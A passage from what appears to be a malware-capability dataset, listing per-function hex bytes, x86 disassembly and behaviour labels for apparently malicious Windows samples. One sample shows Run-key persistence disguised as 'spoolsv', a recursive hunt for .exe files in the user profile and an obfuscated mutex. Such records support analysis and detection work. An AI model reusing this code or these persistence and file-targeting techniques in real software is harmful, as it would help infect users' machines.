"push dword [0x407648]",
"push dword [0x407654]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_WriteFile]",
"push esi",
"call edi",
"lea eax, [ebp - 0x4cc]",
"push eax",
"xor eax, eax",
"cmp byte [ebp - 0x4ad], al",
"push str.SoftwareMicrosoftWindowsCurrentVersionRun",
"setne al",
"add eax, 0x80000001",
"push eax",
"call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]",
"test eax, eax",
"jne 0x40191f",
"lea ecx, [ebp - 0x4ac]",
"lea edx, [ecx + 2]",
"lea ebx, [ebx]",
"mov ax, word [ecx]",
"add ecx, 2",
"test ax, ax",
"jne 0x4018e0",
"sub ecx, edx",
"sar ecx, 1",
"lea eax, [ecx*2 + 2]",
"push eax",
"lea eax, [ebp - 0x4ac]",
"push eax",
"push 1",
"push 0",
"push str.spoolsv",
"push dword [ebp - 0x4cc]",
"call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]",
"push dword [ebp - 0x4cc]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"test ebx, ebx",
"je 0x40197a",
"push 0x44",
"lea eax, [ebp - 0x52c]",
"push 0",
"push eax",
"call sub.MSVCR110.dll_memset",
"add esp, 0xc",
"lea eax, [ebp - 0x4e0]",
"push eax",
"lea eax, [ebp - 0x52c]",
"push eax",
"push 0",
"push 0",
"push 0",
"push 0",
"push 0",
"push 0",
"xorps xmm0, xmm0",
"push 0",
"lea eax, [ebp - 0x4ac]",
"push eax",
"movq qword [ebp - 0x4e0], xmm0",
"movq qword [ebp - 0x4d8], xmm0",
"call dword [sym.imp.KERNEL32.dll_CreateProcessW]",
"push 0",
"call dword [sym.imp.KERNEL32.dll_ExitProcess]",
"mov edx, dword [0x407648]",
"mov ecx, dword [0x407654]",
"call fcn.00401290",
"mov ecx, dword [ebp - 8]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"mov dword [0x407658], eax",
"pop ebx",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret 4",
"call fcn.0040380c",
"int3"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x401ab0
|
[
"Enumerate files on windows",
"Enumerate files recursively"
] |
558bec83e4f881ec5c0a0000a11870400033c4898424580a000053568bc15750894424108d842464060000683454400050ff15f451400083c40c8d442410508d84246406000050ff15585040008bf083feff0f84860000008b3d405040008d4424105056ffd785c0746d8b1d4051400066837c243c2e74538d44243c50ff7424108d842468020000684054400050ff15f451400083c410f644241010740e8d8c2460020000e856ffffffeb1f8d44243c686053400050ffd383c40885c0740c8d8c2460020000e835feffff8d4424105056ffd785c0759956ff15685040008b8c24640a00005f5e5b33cce8131a00008be55dc3
|
[
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"sub esp, 0xa5c",
"mov eax, dword [0x407018]",
"xor eax, esp",
"mov dword [esp + 0xa58], eax",
"push ebx",
"push esi",
"mov eax, ecx",
"push edi",
"push eax",
"mov dword [esp + 0x10], eax",
"lea eax, [esp + 0x664]",
"push str._s",
"push eax",
"call dword [sym.imp.USER32.dll_wsprintfW]",
"add esp, 0xc",
"lea eax, [esp + 0x10]",
"push eax",
"lea eax, [esp + 0x664]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_FindFirstFileW]",
"mov esi, eax",
"cmp esi, 0xffffffff",
"je 0x401b8e",
"mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]",
"lea eax, [esp + 0x10]",
"push eax",
"push esi",
"call edi",
"test eax, eax",
"je 0x401b87",
"mov ebx, dword [sym.imp.MSVCR110.dll_wcsstr]",
"cmp word [esp + 0x3c], 0x2e",
"je 0x401b7b",
"lea eax, [esp + 0x3c]",
"push eax",
"push dword [esp + 0x10]",
"lea eax, [esp + 0x268]",
"push str._s_s",
"push eax",
"call dword [sym.imp.USER32.dll_wsprintfW]",
"add esp, 0x10",
"test byte [esp + 0x10], 0x10",
"je 0x401b5c",
"lea ecx, [esp + 0x260]",
"call fcn.00401ab0",
"jmp 0x401b7b",
"lea eax, [esp + 0x3c]",
"push str..exe",
"push eax",
"call ebx",
"add esp, 8",
"test eax, eax",
"je 0x401b7b",
"lea ecx, [esp + 0x260]",
"call fcn.004019b0",
"lea eax, [esp + 0x10]",
"push eax",
"push esi",
"call edi",
"test eax, eax",
"jne 0x401b20",
"push esi",
"call dword [sym.imp.KERNEL32.dll_FindClose]",
"mov ecx, dword [esp + 0xa64]",
"pop edi",
"pop esi",
"pop ebx",
"xor ecx, esp",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x401fb0
|
[
"Access peb ldr_data",
"Check mutex on windows",
"Create thread",
"Get file size",
"Query environment variable",
"Read file on windows"
] |
558bec83e4f881ec1c080000a11870400033c4898424180800008b45105356578944240c64a13000000068000000f08b400c6a018b40146a008b40206a006850764000a34c764000ff150c50400085c0751a83c8ff5f5e5b8b8c241808000033cce89c1500008be55dc210006a006a006a036a006a016800000080ff354c764000ff152c5040008bf083feff743b6a0056ff15605040008bf8576a40ff153c5040008bd885db74216a008d44242050575356ff152850400085c0740dff74240c8bd78bcbe8d7f4ffff68685440006a016a00ff155c504000ff15345040003db700000075198b8c24240800005f5e5b33cc33c0e80a1500008be55dc210008b354c5040006a006a006a0068f01c40006a006a00ffd66a006a006a0068d01b40006a006a00ffd668000400008d4424245068f8544000ff15645040008b35fc514000c744241000a22f4dc7442414ffffffff8d4c2420e8a6f9ffff8d442410506a00ffd6ebec
|
[
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"sub esp, 0x81c",
"mov eax, dword [0x407018]",
"xor eax, esp",
"mov dword [esp + 0x818], eax",
"mov eax, dword [ebp + 0x10]",
"push ebx",
"push esi",
"push edi",
"mov dword [esp + 0xc], eax",
"mov eax, dword fs:[0x30]",
"push 0xf0000000",
"mov eax, dword [eax + 0xc]",
"push 1",
"mov eax, dword [eax + 0x14]",
"push 0",
"mov eax, dword [eax + 0x20]",
"push 0",
"push 0x407650",
"mov dword [0x40764c], eax",
"call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]",
"test eax, eax",
"jne 0x40201c",
"or eax, 0xffffffff",
"pop edi",
"pop esi",
"pop ebx",
"mov ecx, dword [esp + 0x818]",
"xor ecx, esp",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret 0x10",
"push 0",
"push 0",
"push 3",
"push 0",
"push 1",
"push 0x80000000",
"push dword [0x40764c]",
"call dword [sym.imp.KERNEL32.dll_CreateFileW]",
"mov esi, eax",
"cmp esi, 0xffffffff",
"je 0x402079",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_GetFileSize]",
"mov edi, eax",
"push edi",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov ebx, eax",
"test ebx, ebx",
"je 0x402079",
"push 0",
"lea eax, [esp + 0x20]",
"push eax",
"push edi",
"push ebx",
"push esi",
"call dword [sym.imp.KERNEL32.dll_ReadFile]",
"test eax, eax",
"je 0x402079",
"push dword [esp + 0xc]",
"mov edx, edi",
"mov ecx, ebx",
"call fcn.00401550",
"push str.Global3pc6RWOgectGTFqCowxjeGy3XIGPtLwNrsr2zDctYD4hAU5pj4GW7rm8gHrHyTB6",
"push 1",
"push 0",
"call dword [sym.imp.KERNEL32.dll_CreateMutexW]",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"cmp eax, 0xb7",
"jne 0x4020ae",
"mov ecx, dword [esp + 0x824]",
"pop edi",
"pop esi",
"pop ebx",
"xor ecx, esp",
"xor eax, eax",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret 0x10",
"mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]",
"push 0",
"push 0",
"push 0",
"push 0x401cf0",
"push 0",
"push 0",
"call esi",
"push 0",
"push 0",
"push 0",
"push 0x401bd0",
"push 0",
"push 0",
"call esi",
"push 0x400",
"lea eax, [esp + 0x24]",
"push eax",
"push str.userprofile",
"call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]",
"mov esi, dword [sym.imp.ntdll.dll_NtDelayExecution]",
"mov dword [esp + 0x10], 0x4d2fa200",
"mov dword [esp + 0x14], 0xffffffff",
"lea ecx, [esp + 0x20]",
"call fcn.00401ab0",
"lea eax, [esp + 0x10]",
"push eax",
"push 0",
"call esi",
"jmp 0x402101"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x4022d0
|
[
"Write file on windows"
] |
558bec83e4f86aff68a841400064a1000000005083ec30a11870400033c489442428535657a11870400033c4508d44244064a3000000008bf18b5d0883fbff750733c0e9eb0100008b46208b0885c974228b56308b3a8d040f3bc873168d47ff89028b4e208b118d42018901881ae9be010000837e5000750883c8ffe9b20100008b460c8b088d46443bc875108b463c5050ff76388bceff15bc504000837e4000751fff76500fbec350ff15dc51400083c9ff83c4083bc10f45cb8bc1e97101000083ec088d4c2428885c241fe8be080000c7442448000000008d9b00000000837c2434108d442418508b4424348d5424240f435424248d4c24240f434c242403c250518b4e408d442428508d442428508d44242b508d464850ff15d850400085c00f88f200000083f8010f8fc40000008b5c24348b4c24208b7c241883fb108d4424200f43c12bf87422ff76508d4424245783fb100f43c16a0150ff155851400083c4103bf80f85ad0000008d442417c64645013944241c757585ff0f855dffffff8b4c243083f9200f838a00000083c8ff2bc183f808764b8d790851578d4c2428e8f80c000084c00f8430ffffff837c2434108b4424308d4c24200f434c24200f57c0660fd60401837c2434108d4424200f43442420897c2430c6043800e9fbfeffff6810554000ff15a45040008b5d08eb2883f80375200fbe442417ff765050ff15dc51400083c40883f8ffbbffffffff0f455d08eb0383cbff837c243410720dff742420ff155051400083c4048bc38b4c244064890d00000000595f5e5b8b4c242833cce8951000008be55dc20400
|
[
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"push 0xffffffffffffffff",
"push 0x4041a8",
"mov eax, dword fs:[0]",
"push eax",
"sub esp, 0x30",
"mov eax, dword [0x407018]",
"xor eax, esp",
"mov dword [esp + 0x28], eax",
"push ebx",
"push esi",
"push edi",
"mov eax, dword [0x407018]",
"xor eax, esp",
"push eax",
"lea eax, [esp + 0x40]",
"mov dword fs:[0], eax",
"mov esi, ecx",
"mov ebx, dword [ebp + 8]",
"cmp ebx, 0xffffffff",
"jne 0x402318",
"xor eax, eax",
"jmp 0x402503",
"mov eax, dword [esi + 0x20]",
"mov ecx, dword [eax]",
"test ecx, ecx",
"je 0x402343",
"mov edx, dword [esi + 0x30]",
"mov edi, dword [edx]",
"lea eax, [edi + ecx]",
"cmp ecx, eax",
"jae 0x402343",
"lea eax, [edi - 1]",
"mov dword [edx], eax",
"mov ecx, dword [esi + 0x20]",
"mov edx, dword [ecx]",
"lea eax, [edx + 1]",
"mov dword [ecx], eax",
"mov byte [edx], bl",
"jmp 0x402501",
"cmp dword [esi + 0x50], 0",
"jne 0x402351",
"or eax, 0xffffffff",
"jmp 0x402503",
"mov eax, dword [esi + 0xc]",
"mov ecx, dword [eax]",
"lea eax, [esi + 0x44]",
"cmp ecx, eax",
"jne 0x40236d",
"mov eax, dword [esi + 0x3c]",
"push eax",
"push eax",
"push dword [esi + 0x38]",
"mov ecx, esi",
"call dword [sym.imp.MSVCP110.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]",
"cmp dword [esi + 0x40], 0",
"jne 0x402392",
"push dword [esi + 0x50]",
"movsx eax, bl",
"push eax",
"call dword [sym.imp.MSVCR110.dll_fputc]",
"or ecx, 0xffffffff",
"add esp, 8",
"cmp eax, ecx",
"cmovne ecx, ebx",
"mov eax, ecx",
"jmp 0x402503",
"sub esp, 8",
"lea ecx, [esp + 0x28]",
"mov byte [esp + 0x1f], bl",
"call fcn.00402c60",
"mov dword [esp + 0x48], 0",
"lea ebx, [ebx]",
"cmp dword [esp + 0x34], 0x10",
"lea eax, [esp + 0x18]",
"push eax",
"mov eax, dword [esp + 0x34]",
"lea edx, [esp + 0x24]",
"cmovae edx, dword [esp + 0x24]",
"lea ecx, [esp + 0x24]",
"cmovae ecx, dword [esp + 0x24]",
"add eax, edx",
"push eax",
"push ecx",
"mov ecx, dword [esi + 0x40]",
"lea eax, [esp + 0x28]",
"push eax",
"lea eax, [esp + 0x28]",
"push eax",
"lea eax, [esp + 0x2b]",
"push eax",
"lea eax, [esi + 0x48]",
"push eax",
"call dword [sym.imp.MSVCP110.dll_public:_int___thiscall_std::codecvt_char__char__int_::out_int___char_const___char_const___char_const____char___char___char___const]",
"test eax, eax",
"js 0x4024ea",
"cmp eax, 1",
"jg 0x4024c5",
"mov ebx, dword [esp + 0x34]",
"mov ecx, dword [esp + 0x20]",
"mov edi, dword [esp + 0x18]",
"cmp ebx, 0x10",
"lea eax, [esp + 0x20]",
"cmovae eax, ecx",
"sub edi, eax",
"je 0x40243d",
"push dword [esi + 0x50]",
"lea eax, [esp + 0x24]",
"push edi",
"cmp ebx, 0x10",
"cmovae eax, ecx",
"push 1",
"push eax",
"call dword [sym.imp.MSVCR110.dll_fwrite]",
"add esp, 0x10",
"cmp edi, eax",
"jne 0x4024ea",
"lea eax, [esp + 0x17]",
"mov byte [esi + 0x45], 1",
"cmp dword [esp + 0x1c], eax",
"jne 0x4024c0",
"test edi, edi",
"jne 0x4023b0",
"mov ecx, dword [esp + 0x30]",
"cmp ecx, 0x20",
"jae 0x4024ea",
"or eax, 0xffffffff",
"sub eax, ecx",
"cmp eax, 8",
"jbe 0x4024b5",
"lea edi, [ecx + 8]",
"push ecx",
"push edi",
"lea ecx, [esp + 0x28]",
"call fcn.00403170",
"test al, al",
"je 0x4023b0",
"cmp dword [esp + 0x34], 0x10",
"mov eax, dword [esp + 0x30]",
"lea ecx, [esp + 0x20]",
"cmovae ecx, dword [esp + 0x20]",
"xorps xmm0, xmm0",
"movq qword [ecx + eax], xmm0",
"cmp dword [esp + 0x34], 0x10",
"lea eax, [esp + 0x20]",
"cmovae eax, dword [esp + 0x20]",
"mov dword [esp + 0x30], edi",
"mov byte [eax + edi], 0",
"jmp 0x4023b0",
"push str.string_too_long",
"call dword [sym.imp.MSVCP110.dll_void___cdecl_std::_Xlength_error_char_const__]",
"mov ebx, dword [ebp + 8]",
"jmp 0x4024ed",
"cmp eax, 3",
"jne 0x4024ea",
"movsx eax, byte [esp + 0x17]",
"push dword [esi + 0x50]",
"push eax",
"call dword [sym.imp.MSVCR110.dll_fputc]",
"add esp, 8",
"cmp eax, 0xffffffff",
"mov ebx, 0xffffffff",
"cmovne ebx, dword [ebp + 8]",
"jmp 0x4024ed",
"or ebx, 0xffffffff",
"cmp dword [esp + 0x34], 0x10",
"jb 0x402501",
"push dword [esp + 0x20]",
"call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]",
"add esp, 4",
"mov eax, ebx",
"mov ecx, dword [esp + 0x40]",
"mov dword fs:[0], ecx",
"pop ecx",
"pop edi",
"pop esi",
"pop ebx",
"mov ecx, dword [esp + 0x28]",
"xor ecx, esp",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x402e50
|
[
"Write file on windows"
] |
558bec83e4f86aff684841400064a1000000005083ec28a11870400033c489442420535657a11870400033c4508d44243864a3000000008bf9837f40000f8444010000807f45000f843a0100006affe82cf4ffff83f8ff750732c0e92901000083ec088d4c2420e8a4fdffffc7442440000000008b5c242c8d442414508b44242c83fb108d54241c0f4354241c8d4c241c0f434c241c03c250518b4f408d474850ff15c850400083e800741348741483e8020f84b500000032dbe9b0000000c64745008b5c242c8b4c24188b74241483fb108d4424180f43c12bf0741eff77508d44241c5683fb100f43c16a0150ff155851400083c4103bf075bd807f4500746c85f60f856bffffff8b4c242883c8ff2bc183f808764b8d710851568d4c2420e8fb01000084c00f8447ffffff837c242c108b4424288d4c24180f434c24180f57c0660fd60401837c242c108d4424180f4344241889742428c6043000e912ffffff6810554000ff15a4504000b301837c242c10720dff742418ff155051400083c4048ac3eb02b0018b4c243864890d00000000595f5e5b8b4c242033cce8bf0500008be55dc3
|
[
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"push 0xffffffffffffffff",
"push 0x404148",
"mov eax, dword fs:[0]",
"push eax",
"sub esp, 0x28",
"mov eax, dword [0x407018]",
"xor eax, esp",
"mov dword [esp + 0x20], eax",
"push ebx",
"push esi",
"push edi",
"mov eax, dword [0x407018]",
"xor eax, esp",
"push eax",
"lea eax, [esp + 0x38]",
"mov dword fs:[0], eax",
"mov edi, ecx",
"cmp dword [edi + 0x40], 0",
"je 0x402fd7",
"cmp byte [edi + 0x45], 0",
"je 0x402fd7",
"push 0xffffffffffffffff",
"call fcn.004022d0",
"cmp eax, 0xffffffff",
"jne 0x402eb0",
"xor al, al",
"jmp 0x402fd9",
"sub esp, 8",
"lea ecx, [esp + 0x20]",
"call fcn.00402c60",
"mov dword [esp + 0x40], 0",
"mov ebx, dword [esp + 0x2c]",
"lea eax, [esp + 0x14]",
"push eax",
"mov eax, dword [esp + 0x2c]",
"cmp ebx, 0x10",
"lea edx, [esp + 0x1c]",
"cmovae edx, dword [esp + 0x1c]",
"lea ecx, [esp + 0x1c]",
"cmovae ecx, dword [esp + 0x1c]",
"add eax, edx",
"push eax",
"push ecx",
"mov ecx, dword [edi + 0x40]",
"lea eax, [edi + 0x48]",
"push eax",
"call dword [sym.imp.MSVCP110.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]",
"sub eax, 0",
"je 0x402f0f",
"dec eax",
"je 0x402f13",
"sub eax, 2",
"je 0x402fbd",
"xor bl, bl",
"jmp 0x402fbf",
"mov byte [edi + 0x45], 0",
"mov ebx, dword [esp + 0x2c]",
"mov ecx, dword [esp + 0x18]",
"mov esi, dword [esp + 0x14]",
"cmp ebx, 0x10",
"lea eax, [esp + 0x18]",
"cmovae eax, ecx",
"sub esi, eax",
"je 0x402f4b",
"push dword [edi + 0x50]",
"lea eax, [esp + 0x1c]",
"push esi",
"cmp ebx, 0x10",
"cmovae eax, ecx",
"push 1",
"push eax",
"call dword [sym.imp.MSVCR110.dll_fwrite]",
"add esp, 0x10",
"cmp esi, eax",
"jne 0x402f08",
"cmp byte [edi + 0x45], 0",
"je 0x402fbd",
"test esi, esi",
"jne 0x402ec4",
"mov ecx, dword [esp + 0x28]",
"or eax, 0xffffffff",
"sub eax, ecx",
"cmp eax, 8",
"jbe 0x402fb2",
"lea esi, [ecx + 8]",
"push ecx",
"push esi",
"lea ecx, [esp + 0x20]",
"call fcn.00403170",
"test al, al",
"je 0x402ec4",
"cmp dword [esp + 0x2c], 0x10",
"mov eax, dword [esp + 0x28]",
"lea ecx, [esp + 0x18]",
"cmovae ecx, dword [esp + 0x18]",
"xorps xmm0, xmm0",
"movq qword [ecx + eax], xmm0",
"cmp dword [esp + 0x2c], 0x10",
"lea eax, [esp + 0x18]",
"cmovae eax, dword [esp + 0x18]",
"mov dword [esp + 0x28], esi",
"mov byte [eax + esi], 0",
"jmp 0x402ec4",
"push str.string_too_long",
"call dword [sym.imp.MSVCP110.dll_void___cdecl_std::_Xlength_error_char_const__]",
"mov bl, 1",
"cmp dword [esp + 0x2c], 0x10",
"jb 0x402fd3",
"push dword [esp + 0x18]",
"call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete_void__]",
"add esp, 4",
"mov al, bl",
"jmp 0x402fd9",
"mov al, 1",
"mov ecx, dword [esp + 0x38]",
"mov dword fs:[0], ecx",
"pop ecx",
"pop edi",
"pop esi",
"pop ebx",
"mov ecx, dword [esp + 0x20]",
"xor ecx, esp",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x4018c0
|
[
"Accept command line arguments"
] |
6aff68f193400064a100000000506489250000000083ec408a442450535533ed5657896c241c88442420896c2424896c2428896c242c8d4c2410c74424580100000051896c2414ff1550a0400050ff1514a240003bc58944241875698a542460558d4c243488542434ff153ca14000bf10d1400083c9ff33c06a01f2aef7d1498bd98d4c243453ff1560a1400084c074258b7c24348bcb8bc1be10d14000c1e902f3a58bc883e103f3a48b4c2434895c2438c60419008d54243068f0a3400052e8e77400008b4c2410896c24143bcd0f86e10000008bd88a4424608b3b558d4c243488442434ff152ca1400057ff157ca1400083c4048bf08d4c24306a0156ff1530a1400084c0741b8b4c2434565751e85b0100008b5424408974244483c40c66892c728d442430558d4c24445051c644246402e8a757000083c40c8b542428506a01528d4c242cc644246403e8ce0300006a018d4c2444c644245c02ff153ca140008b4c2434c6442458013bcd741e8a41ff84c0740b3cff7407fec88841ffeb0c83c1fe51e8a573000083c4048b4424148b4c24104083c3043bc1896c2434896c2438896c243c894424140f8225ffffff8b44241850ff1570a040008b5c24608b4c24248a4424203bcd8803750433c0eb098b4424282bc1c1f8043bc57d0233c0c1e00450e8697300008b4c242c8943048bf08b44242883c4043bc18be98bf8741c5756e8d605000083c71083c40883c6103bfd75ec8b4c24288b44242489730889730cc744241c010000003bc1c6442458008bf98bf074146a008bcee81d07000083c6103bf775f08b44242450e8dc7200008b4c245483c4048bc364890d000000005f5e5d5b83c44cc3
|
[
"push 0xffffffffffffffff",
"push 0x4093f1",
"mov eax, dword fs:[0]",
"push eax",
"mov dword fs:[0], esp",
"sub esp, 0x40",
"mov al, byte [esp + 0x50]",
"push ebx",
"push ebp",
"xor ebp, ebp",
"push esi",
"push edi",
"mov dword [esp + 0x1c], ebp",
"mov byte [esp + 0x20], al",
"mov dword [esp + 0x24], ebp",
"mov dword [esp + 0x28], ebp",
"mov dword [esp + 0x2c], ebp",
"lea ecx, [esp + 0x10]",
"mov dword [esp + 0x58], 1",
"push ecx",
"mov dword [esp + 0x14], ebp",
"call dword [sym.imp.KERNEL32.dll_GetCommandLineW]",
"push eax",
"call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]",
"cmp eax, ebp",
"mov dword [esp + 0x18], eax",
"jne 0x401985",
"mov dl, byte [esp + 0x60]",
"push ebp",
"lea ecx, [esp + 0x34]",
"mov byte [esp + 0x34], dl",
"call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]",
"mov edi, str.Invalid_args",
"or ecx, 0xffffffff",
"xor eax, eax",
"push 1",
"repne scasb al, byte es:[edi]",
"not ecx",
"dec ecx",
"mov ebx, ecx",
"lea ecx, [esp + 0x34]",
"push ebx",
"call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]",
"test al, al",
"je 0x401976",
"mov edi, dword [esp + 0x34]",
"mov ecx, ebx",
"mov eax, ecx",
"mov esi, str.Invalid_args",
"shr ecx, 2",
"rep movsd dword es:[edi], dword [esi]",
"mov ecx, eax",
"and ecx, 3",
"rep movsb byte es:[edi], byte [esi]",
"mov ecx, dword [esp + 0x34]",
"mov dword [esp + 0x38], ebx",
"mov byte [ecx + ebx], 0",
"lea edx, [esp + 0x30]",
"push 0x40a3f0",
"push edx",
"call sub.MSVCRT.dll__CxxThrowException",
"mov ecx, dword [esp + 0x10]",
"mov dword [esp + 0x14], ebp",
"cmp ecx, ebp",
"jbe 0x401a76",
"mov ebx, eax",
"mov al, byte [esp + 0x60]",
"mov edi, dword [ebx]",
"push ebp",
"lea ecx, [esp + 0x34]",
"mov byte [esp + 0x34], al",
"call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]",
"push edi",
"call dword [sym.imp.MSVCRT.dll_wcslen]",
"add esp, 4",
"mov esi, eax",
"lea ecx, [esp + 0x30]",
"push 1",
"push esi",
"call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Grow_unsigned_int__bool_]",
"test al, al",
"je 0x4019e4",
"mov ecx, dword [esp + 0x34]",
"push esi",
"push edi",
"push ecx",
"call fcn.00401b30",
"mov edx, dword [esp + 0x40]",
"mov dword [esp + 0x44], esi",
"add esp, 0xc",
"mov word [edx + esi*2], bp",
"lea eax, [esp + 0x30]",
"push ebp",
"lea ecx, [esp + 0x44]",
"push eax",
"push ecx",
"mov byte [esp + 0x64], 2",
"call fcn.004071a0",
"add esp, 0xc",
"mov edx, dword [esp + 0x28]",
"push eax",
"push 1",
"push edx",
"lea ecx, [esp + 0x2c]",
"mov byte [esp + 0x64], 3",
"call fcn.00401de0",
"push 1",
"lea ecx, [esp + 0x44]",
"mov byte [esp + 0x5c], 2",
"call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]",
"mov ecx, dword [esp + 0x34]",
"mov byte [esp + 0x58], 1",
"cmp ecx, ebp",
"je 0x401a4e",
"mov al, byte [ecx - 1]",
"test al, al",
"je 0x401a42",
"cmp al, 0xff",
"je 0x401a42",
"dec al",
"mov byte [ecx - 1], al",
"jmp 0x401a4e",
"add ecx, 0xfffffffe",
"push ecx",
"call sub.MFC42.DLL_operatordelete",
"add esp, 4",
"mov eax, dword [esp + 0x14]",
"mov ecx, dword [esp + 0x10]",
"inc eax",
"add ebx, 4",
"cmp eax, ecx",
"mov dword [esp + 0x34], ebp",
"mov dword [esp + 0x38], ebp",
"mov dword [esp + 0x3c], ebp",
"mov dword [esp + 0x14], eax",
"jb 0x401997",
"mov eax, dword [esp + 0x18]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov ebx, dword [esp + 0x60]",
"mov ecx, dword [esp + 0x24]",
"mov al, byte [esp + 0x20]",
"cmp ecx, ebp",
"mov byte [ebx], al",
"jne 0x401a93",
"xor eax, eax",
"jmp 0x401a9c",
"mov eax, dword [esp + 0x28]",
"sub eax, ecx",
"sar eax, 4",
"cmp eax, ebp",
"jge 0x401aa2",
"xor eax, eax",
"shl eax, 4",
"push eax",
"call sub.MFC42.DLL_operatornew",
"mov ecx, dword [esp + 0x2c]",
"mov dword [ebx + 4], eax",
"mov esi, eax",
"mov eax, dword [esp + 0x28]",
"add esp, 4",
"cmp eax, ecx",
"mov ebp, ecx",
"mov edi, eax",
"je 0x401adf",
"push edi",
"push esi",
"call fcn.004020a0",
"add edi, 0x10",
"add esp, 8",
"add esi, 0x10",
"cmp edi, ebp",
"jne 0x401ac3",
"mov ecx, dword [esp + 0x28]",
"mov eax, dword [esp + 0x24]",
"mov dword [ebx + 8], esi",
"mov dword [ebx + 0xc], esi",
"mov dword [esp + 0x1c], 1",
"cmp eax, ecx",
"mov byte [esp + 0x58], 0",
"mov edi, ecx",
"mov esi, eax",
"je 0x401b0e",
"push 0",
"mov ecx, esi",
"call fcn.00402220",
"add esi, 0x10",
"cmp esi, edi",
"jne 0x401afa",
"mov eax, dword [esp + 0x24]",
"push eax",
"call sub.MFC42.DLL_operatordelete",
"mov ecx, dword [esp + 0x54]",
"add esp, 4",
"mov eax, ebx",
"mov dword fs:[0], ecx",
"pop edi",
"pop esi",
"pop ebp",
"pop ebx",
"add esp, 0x4c",
"ret"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x4025c0
|
[
"Write file on windows"
] |
8b4424048b400485c07505a140a140005668a0d1400050ff15a0a140008bf083c40885f674288b44240c8b48088b400485c07505a140a1400056516a0150ff15b4a1400056ff1590a1400083c4145ec3
|
[
"mov eax, dword [esp + 4]",
"mov eax, dword [eax + 4]",
"test eax, eax",
"jne 0x4025d0",
"mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]",
"push esi",
"push 0x40d1a0",
"push eax",
"call dword [sym.imp.MSVCRT.dll_fopen]",
"mov esi, eax",
"add esp, 8",
"test esi, esi",
"je 0x40260e",
"mov eax, dword [esp + 0xc]",
"mov ecx, dword [eax + 8]",
"mov eax, dword [eax + 4]",
"test eax, eax",
"jne 0x4025f9",
"mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]",
"push esi",
"push ecx",
"push 1",
"push eax",
"call dword [sym.imp.MSVCRT.dll_fwrite]",
"push esi",
"call dword [sym.imp.MSVCRT.dll_fclose]",
"add esp, 0x14",
"pop esi",
"ret"
] |
02e92b38fd2f2413a45a036eed3145c204fb95fd469552727f0186ab0a316b2b
|
0x402ac0
|
[
"Access peb ldr_data"
] |
6aff68f994400064a100000000506489250000000083ec148b442428568d4c24085051c744240c00000000e860feffff8b5424388b742430525056c744243400000000e8266700008b44242083c41485c0742d8d48ff8a40ff84c0741a3cff7416fec888018bc65e8b4c241464890d0000000083c420c351e8b362000083c4048b4c24188bc65e64890d0000000083c420c3
|
[
"push 0xffffffffffffffff",
"push 0x4094f9",
"mov eax, dword fs:[0]",
"push eax",
"mov dword fs:[0], esp",
"sub esp, 0x14",
"mov eax, dword [esp + 0x28]",
"push esi",
"lea ecx, [esp + 8]",
"push eax",
"push ecx",
"mov dword [esp + 0xc], 0",
"call fcn.00402950",
"mov edx, dword [esp + 0x38]",
"mov esi, dword [esp + 0x30]",
"push edx",
"push eax",
"push esi",
